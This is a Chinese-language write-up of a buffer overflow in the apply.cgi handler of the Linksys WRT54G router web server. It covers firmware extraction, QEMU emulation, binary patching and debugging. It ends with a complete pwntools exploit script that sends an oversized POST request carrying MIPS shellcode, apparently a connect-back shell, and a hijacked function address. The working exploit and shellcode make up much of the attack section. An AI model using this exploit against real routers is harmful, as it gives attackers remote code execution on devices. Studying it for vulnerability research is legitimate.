漏洞介绍
https://www.exploit-db.com/exploits/10028
由漏洞报告可知,该漏洞存在于此路由器Web服务器程序HTTPD的apply.cgi处理脚本中,是由于POST发送的数据data超过10000导致的溢出。
前置步骤
固件下载
1
| https://gitee.com/xj96/router-firmware/raw/master/linksys_wrt54gv2_fw4007.zip
|
固件解包
1
| binwalk -Me WRT54GV3.1_4.00.7_US_code.bin
|
漏洞分析
定位漏洞程序
查看程序架构
1
| readelf -h ./usr/sbin/httpd
|
MIPSEL的32位程序
代码分析
定位到apply_cgi
函数,交叉引用到sub_4113A0
函数,发现无法再进行向上查看调用函数,说明如果想让程序走到这个函数必须先让httpd服务跑起来,当http处理POST请求的时候则会进入到sub_4113A0
函数进而执行apply_cgi
函数。
运行环境修复(方式1)
1
| sudo chroot . ./qemu-mipsel-static ./usr/sbin/httpd
|
发现缺少nvram文件,那自己创建一个文件即可。
发现还是没有成功启动http服务,但是又没有回显,所以需要开始调试找一下程序崩溃的原因。
gdb调试下断点走到main函数,发现需要创建httdp.pid文件并且80端口不能被其它服务占用
1 2
| mkdir ./tmp/run touch ./tmp/run/httpd.pid
|
之后再次运行,当调用daemon函数时,程序会直接发生崩溃,查阅了一下这个函数,发现跟守护进程相关,我们的目的就只是让httpd程序能成功运行起来,所以我选择直接patch掉这段逻辑,强行绕过。
patch之后
将jarl t9
直接给nop
掉
成功绕过daemon函数逻辑,再继续尝试运行httpd,发现可以运行成功
这一部分逻辑对应的就是httpd成功运行,http服务不断接收请求包.
发包请求
1
| curl -X POST http://127.0.0.1/apply.cgi
|
当向httpd发送apply.cgi的POST请求时,就会调用apply_cgi函数处理这个请求,我们可以在这个apply_cgi函数处下断,然后再发一次POST请求包,即可成功让程序断到apply_cgi函数处。
然后在POST请求包中发送超过10000字节的数据来验证一下漏洞
可以发现是因为post_buf导致的data段溢出,10000字节就是post_buf的大小,所以发送超10000字节即可完成溢出。
利用思路
因为导致的是data段溢出,所以可以利用溢出覆盖extern中的函数地址,在post_buf中构造好nop滑块以及shellcode后,通过劫持函数地址跳转到post_buf中通过滑块执行到shellcode即可
EXP
调试脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * import base64 import sys context(os='linux', arch='mips', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process(f'chroot . ./qemu-mipsel-static -g 1234 ./usr/sbin/httpd'.split( )) gdb.attach(('127.0.0.1',1234),''' b *0x004100FC sleep(2) ''',exe='./usr/sbin/httpd') elf = ELF('./usr/sbin/httpd') else: p = remote('127.0.0.1', 10001) elf = ELF('./usr/sbin/httpd')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
inter()
|
攻击脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from hackebds import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 0 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('127.0.0.1', 80)
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
shellcode = b'\xfd\xff\x19\x24\x27\x20\x20\x03\xff\xff\x06\x28\x57\x10\x02\x34\xfc\xff\xa4\xaf\xfc\xff\xa5\x8f\x0c\x01\x01\x01\xfc\xff\xa2\xaf\xfc\xff\xb0\x8f\xea\x41\x19\x3c\xfd\xff\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xff\xfe\x19\x3c\x80\xff\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\xfc\xff\xb0\xaf\xfc\xff\xa4\x8f\x20\x28\xa0\x03\xef\xff\x19\x24\x27\x30\x20\x03\x4a\x10\x02\x34\x0c\x01\x01\x01\xf7\xff\x85\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfe\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\xfd\xff\x19\x24\x27\x28\x20\x03\xdf\x0f\x02\x24\x0c\x01\x01\x01\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf8\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xfc\xff\xa9\xaf\xf8\xff\xbd\x27\x20\x20\xa0\x03\x69\x6e\x09\x3c\x2f\x62\x29\x35\xf4\xff\xa9\xaf\x97\xff\x19\x3c\xd0\x8c\x39\x37\x27\x48\x20\x03\xf8\xff\xa9\xaf\xfc\xff\xa0\xaf\xf4\xff\xbd\x27\xff\xff\x05\x28\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\xfb\xff\x19\x24\x27\x28\x20\x03\x20\x28\xa5\x03\xfc\xff\xa5\xaf\xfc\xff\xbd\x23\x20\x28\xa0\x03\xff\xff\x06\x28\xab\x0f\x02\x34\x0c\x01\x01\x01\x00\x00\x00\x00'
DATA = b'data='
post_data = shellcode.rjust(0x2700-5,b'\x00') post_data = DATA + post_data post_data += p32(0x10001ae0)*(0x9000//4)
http_request = b"POST /apply.cgi HTTP/1.1\r\n" http_request += b"Host: " + b'127.0.0.1' + b"\r\n" http_request += b"Content-Length: " + str(len(post_data)).encode() + b"\r\n" http_request += b"Content-Type: application/x-www-form-urlencoded\r\n" http_request += b"\r\n" http_request += post_data
sl(http_request)
inter()
|
运行环境修复(方式2)
以上是自己强行patch程序逻辑的,只是一种取巧的方式,在书中以及网上其它部分文章是通过修复NVRAM,这里不再详细进行阐述,可以参考https://wooyun.js.org/drops/1466493268.html